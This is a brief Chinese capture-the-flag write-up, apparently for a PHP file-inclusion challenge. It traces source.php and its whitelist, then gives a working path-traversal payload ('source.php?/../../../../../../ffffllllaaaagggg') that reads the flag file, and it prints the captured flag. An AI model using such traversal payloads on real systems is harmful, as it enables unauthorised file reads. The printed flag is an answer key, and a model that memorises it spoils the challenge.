打开web页面发现是一个滑稽
我们查看源代码发现了一段注释:<!--source.php-->
我们尝试将它添加到url后面
打开source.php后我们对代码进行审查发现了一行代码
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
我们再次在url打开.php
回写说flag在ffffllllaaaagggg中
那我们回到刚才的source.php中发现代码发现还有判断是否有file的参数
那我们在后面补全
/source.php?file=source.php?/ffffllllaaaagggg
但是发现什么回写都没有,怀疑有多层路径嵌套
我们在后面补上6位/..
/source.php?file=source.php?/../../../../../../ffffllllaaaagggg,回车
得到回写的flag
flag{06f9f417-58e6-49ce-b61c-e63e6a1e1b60}